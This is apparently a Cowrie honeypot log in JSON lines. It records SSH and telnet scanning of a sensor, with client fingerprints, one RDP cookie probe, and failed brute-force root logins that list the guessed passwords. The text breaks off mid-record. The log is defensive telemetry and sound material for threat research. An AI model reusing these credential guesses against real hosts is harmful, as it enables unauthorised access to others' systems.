{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:49.152058Z","src_ip":"170.106.115.61","session":"a073ae4001e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:49.221294Z","src_ip":"170.106.115.61","session":"a073ae4001e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boom","password":"123456","message":"login attempt [boom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:49.529280Z","src_ip":"170.106.115.61","session":"a073ae4001e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:50.601437Z","src_ip":"170.106.115.61","session":"a073ae4001e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":33774,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3fca9ec96b5","protocol":"ssh","message":"New connection: 38.93.206.2:33774 (10.17.0.5:22) [session: b3fca9ec96b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:57.308422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:57.313433Z","src_ip":"38.93.206.2","session":"b3fca9ec96b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:57.364412Z","src_ip":"38.93.206.2","session":"b3fca9ec96b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna123","message":"login attempt [root/anna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:57.749166Z","src_ip":"38.93.206.2","session":"b3fca9ec96b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":55244,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc7c28fc21c6","protocol":"ssh","message":"New connection: 103.149.28.157:55244 (159.203.135.109:22) [session: dc7c28fc21c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:58.200587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:58.205303Z","src_ip":"103.149.28.157","session":"dc7c28fc21c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:58.453225Z","src_ip":"103.149.28.157","session":"dc7c28fc21c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:58.802236Z","src_ip":"38.93.206.2","session":"b3fca9ec96b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3390","message":"login attempt [root/3390] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:59.197441Z","src_ip":"103.149.28.157","session":"dc7c28fc21c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:00.450147Z","src_ip":"103.149.28.157","session":"dc7c28fc21c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50230,"dst_ip":"10.17.0.5","dst_port":23,"session":"be7ccb1fc98e","protocol":"telnet","message":"New connection: 192.119.13.58:50230 (10.17.0.5:23) [session: be7ccb1fc98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:01.001215Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55479,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bc9cc705424","protocol":"ssh","message":"New connection: 152.42.212.128:55479 (159.203.135.109:22) [session: 0bc9cc705424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:24.276259Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:24.283889Z","src_ip":"152.42.212.128","session":"0bc9cc705424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:24.288604Z","src_ip":"152.42.212.128","session":"0bc9cc705424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.67750072479248,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:40.678579Z","src_ip":"192.119.13.58","session":"be7ccb1fc98e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":52206,"dst_ip":"159.203.135.109","dst_port":23,"session":"c79b9bcb9b6f","protocol":"telnet","message":"New connection: 213.108.3.46:52206 (159.203.135.109:23) [session: c79b9bcb9b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:44.760125Z"}
{"eventid":"cowrie.session.closed","duration":0.01570868492126465,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:44.775880Z","src_ip":"213.108.3.46","session":"c79b9bcb9b6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":37966,"dst_ip":"159.203.135.109","dst_port":22,"session":"3df70a064997","protocol":"ssh","message":"New connection: 43.156.17.27:37966 (159.203.135.109:22) [session: 3df70a064997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:56.553619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:56.557156Z","src_ip":"43.156.17.27","session":"3df70a064997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:56.802902Z","src_ip":"43.156.17.27","session":"3df70a064997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345","message":"login attempt [root/Qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:57.817303Z","src_ip":"43.156.17.27","session":"3df70a064997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:09:59.068056Z","src_ip":"43.156.17.27","session":"3df70a064997","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":54330,"dst_ip":"159.203.135.109","dst_port":22,"session":"b992a324b3a8","protocol":"ssh","message":"New connection: 165.154.227.158:54330 (159.203.135.109:22) [session: b992a324b3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:04.786684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:04.793086Z","src_ip":"165.154.227.158","session":"b992a324b3a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:05.004700Z","src_ip":"165.154.227.158","session":"b992a324b3a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf1234@","message":"login attempt [root/asdf1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:05.881496Z","src_ip":"165.154.227.158","session":"b992a324b3a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:07.096274Z","src_ip":"165.154.227.158","session":"b992a324b3a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":37548,"dst_ip":"10.17.0.5","dst_port":22,"session":"43e0795c342f","protocol":"ssh","message":"New connection: 170.106.115.61:37548 (10.17.0.5:22) [session: 43e0795c342f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:07.882525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:07.888855Z","src_ip":"170.106.115.61","session":"43e0795c342f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:07.960242Z","src_ip":"170.106.115.61","session":"43e0795c342f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123@","message":"login attempt [root/Admin@123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:08.269778Z","src_ip":"170.106.115.61","session":"43e0795c342f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:09.342381Z","src_ip":"170.106.115.61","session":"43e0795c342f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45574,"dst_ip":"10.17.0.5","dst_port":23,"session":"9287ff3b19ec","protocol":"telnet","message":"New connection: 192.119.13.58:45574 (10.17.0.5:23) [session: 9287ff3b19ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:14.869193Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":34374,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2124c5ad8c6","protocol":"ssh","message":"New connection: 109.237.96.109:34374 (159.203.135.109:22) [session: c2124c5ad8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:24.557119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:24.562383Z","src_ip":"109.237.96.109","session":"c2124c5ad8c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:24.652506Z","src_ip":"109.237.96.109","session":"c2124c5ad8c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102938","message":"login attempt [root/102938] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:24.929967Z","src_ip":"109.237.96.109","session":"c2124c5ad8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:26.023371Z","src_ip":"109.237.96.109","session":"c2124c5ad8c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":47338,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ee386732a9f","protocol":"ssh","message":"New connection: 193.32.162.151:47338 (159.203.135.109:22) [session: 3ee386732a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:32.472686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:10:32.477871Z","src_ip":"193.32.162.151","session":"3ee386732a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 